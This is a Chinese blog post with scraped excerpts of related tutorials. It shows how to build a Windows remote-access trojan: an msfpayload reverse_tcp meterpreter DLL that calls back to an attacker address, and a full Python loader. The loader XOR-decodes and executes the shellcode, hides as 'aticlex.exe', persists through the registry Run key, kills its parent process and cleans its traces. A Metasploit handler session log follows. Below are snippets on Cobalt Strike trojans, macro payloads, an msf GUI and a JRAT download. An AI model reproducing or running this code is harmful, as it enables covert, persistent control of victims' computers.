python+msf make windows远控

分析的一个远控,感谢wstone的指导~

创建dll

./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444  -t dll X > /tmp/sc.dll

python

main.py

import sys, os
import shutil
import time
import ctypes
import glob
import multiprocessing
import multiprocessing.forking
from sc import sc
from win32file import GetLongPathName
import _winreg
from itertools import izip, cycle
from utils import getppid, kill, get_base_dir

RECONNECT_SLEEP = 60
STARTUP_SLEEP = 30
CHILD_STARTUP_SLEEP = 10

METER_NAME = "aticlex.exe"
METER_DIR = "AMD"
USER_DIR = os.path.expanduser("~")

try:
    from win32com.shell import shellcon, shell
    APPDATA_DIR = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0)
    DATA_DIR = os.path.join(APPDATA_DIR, METER_DIR)
except:
    DATA_DIR = os.path.join(USER_DIR, METER_DIR)

METER_PATH = os.path.join(DATA_DIR, METER_NAME)

class _Popen(multiprocessing.forking.Popen):
    def __init__(self, *args, **kw):
        if hasattr(sys, ‘frozen‘):
            os.putenv(‘_MEIPASS2‘, sys._MEIPASS)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, ‘frozen‘):
                os.unsetenv(‘_MEIPASS2‘)

class Process(multiprocessing.Process):
    _Popen = _Popen

class Worker(Process):

    def xor(self, data, key=‘\x41\x82\x99\x73\x12\xf8\x0e\x38‘):
        return ‘‘.join(chr(ord(c)^ord(k)) for c,k in izip(data, cycle(key)))

    def run(self):
        time.sleep(CHILD_STARTUP_SLEEP)
        code = self.xor(sc)
        cbuf = ctypes.create_string_buffer(code)
        func = ctypes.cast(cbuf, ctypes.CFUNCTYPE(ctypes.HRESULT))
        func()

def install():
    reg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
    key = _winreg.OpenKey(reg, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, _winreg.KEY_ALL_ACCESS)
    _winreg.SetValueEx(key, METER_NAME.split(".")[0], 0, _winreg.REG_SZ, METER_PATH)

    path = GetLongPathName(sys.executable)
    if path != METER_PATH:
        if not os.path.exists(DATA_DIR):
            os.makedirs(DATA_DIR)
        try:
            shutil.copy(path, METER_PATH)
        except Exception as e:
            sys.exit(1)
        os.execve(METER_PATH, [METER_PATH], os.environ)

def clean():
    try:
        base_dir = get_base_dir()
        temp_dir = os.path.abspath(os.path.join(base_dir, os.pardir))
        mei = base_dir.split("\\")[-1]
        pattern = "%s\\_MEI*" % temp_dir
        for path in glob.glob(pattern):
            path = GetLongPathName(path)
            if path != base_dir and mei.lower() not in path.lower():
                try:
                    shutil.rmtree(path)
                except:
                    pass
    except:
        pass

def main():
    kill(getppid())
    time.sleep(STARTUP_SLEEP)
    install()
    clean()
    while True:
        p = Worker()
        p.daemon = True
        p.start()
        p.join()
        time.sleep(RECONNECT_SLEEP)

if __name__ == "__main__":
    multiprocessing.freeze_support()
    main()

sc.py

sc=‘\x12\x34‘ .........

# sc = sc.dll open with rb mode

然后pythoninstall 生成exe。

  

监听:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run  

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >

  

时间: 2024-11-06 16:41:48

python+msf make windows远控的相关文章

利用kage把msf变成可视化远控平台

项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q -x 'load msgrpc ServerHost=0.0.0.0 ServerPort=55552 User=msfuser Pass=msfpass' 注意:如果kage跟msf不在一个机器上,上面命令如果不带serverhost参数,则只容许127.0.0.1链接我们也那么可以通过 msf

远控项目(Windows Socket)

实现内容(屏幕,鼠标,键盘实时控制) 控制端: 1 #pragma once 2 3 #ifndef keybd_H 4 #define keybd_H 5 6 #include <stdio.h> 7 #include <stdlib.h> 8 9 int KeyBD(int tch) { 10 if (tch > 64 && tch < 91) { 11 return tch;//A~Z大写 12 } 13 if (tch > 47 &

python之远控工具

原理:利用套字节发送命令,在服务端执行,并将执行的结果返回客户端. 在python3中发送文本使用:send()把字符串encode进行编码,接受recv()把字符串使用decode进行解码. # coding:utf-8 import socket import os # 创建套字节 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定套字节(①获取主机名,②设置端口) host = socket.gethostname() po

Cobalt Strike入门教程-通过exe木马实现远控

Cobalt Strike(简称CS)有很多功能,这篇文章主要介绍最基本的功能:通过exe木马实现远程控制. CS分为两部分:客户端和Team Server服务端.这两部分都依赖Java 1.8,所以运行CS程序前要安装JRE. 分享一个Cobalt Strike v3.8的试用版,可长期试用.百度网盘:https://pan.baidu.com/s/1nXq58froWt0mu3q8I4HsSQ,提取码:fdvb. 第1步:启动CS服务端 将下载的CS程序放到Kali中,执行./teamser

【原创】利用Office宏实现powershell payload远控

本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中. 环境:虚拟机_Kali          依赖:Veil-Evasion.MacroShop 0x00 安装Veil-Evasion.MacroShop (老鸟可绕过) 本例采用git 安装. 打开Veil-Evasion的github页面:https://github.com/Veil-Framewor

老王教你分析远控木马是怎样工作的

本 来是一个朋友给我,要我找下后门的,可是这远控太强大了,而且作者的汇编基础非常强,就没找到,倒是无巧不成书的,发现了他的隐藏技术,瞬间感觉喜欢上 了,于是写成了win32 分享下,3分钟前,主动防御会拦截,但是电脑重启后  程序可以运行,现在又测试了下,已经变成高危病毒了,无语的360啊...源码如下,各位可以根据 需要修改: [AppleScript] 纯文本查看 复制代码 ? 001 002 003 004 005 006 007 008 009 010 011 012 013 014 0

转 python通过win32api轻松获取控件的属性值

python通过win32api轻松获取控件的属性值 2014-08-29 15:26:56|  分类: 自动化测试 |  标签:win32  |举报|字号 订阅 下载LOFTER我的照片书  | 1.如何利用句柄操作windows窗体 首先,获得窗体的句柄  win32api.FindWindows() 第二,获得窗体中控件的id号,spy++ 第三,根据控件的ID获得控件的句柄(hwnd)  GetDlgItem(hwnd,loginID) 最后,利用控件句柄进行操作 python可以通过w

从零开始做远控,服务器搭建(二)

(此系列教程谨供学习,禁止用于非法用途) 日期:2016-4-25 问大家个问题,看人家的代码是不是很辛苦,特别是找不到入口的时候?每次遇到问题的时候最希望是上百度或Google直接复制就最方便了,从来都不愿意去理解背后的意思.我就是这样,因为我人比较懒,但学习有时候总要硬着头皮去看别人的代码,呵呵.但吃好东西要细嚼慢咽才能品尝到当中的美味,所以现在开始我会一步一步带着大家细阅代码,放心,我会打好详尽的注释,而且告诉你哪里是入口,这样你的学习就能事半功倍了! 先安装Qt开发环境(虽然我们的远控是

JRAT远控

JRAT java写的一款远控 可以控制mac os  Windows linux 系统 https://share.weiyun.com/21b56e3e5cab4b3f145d7c2330d10760 解压密码123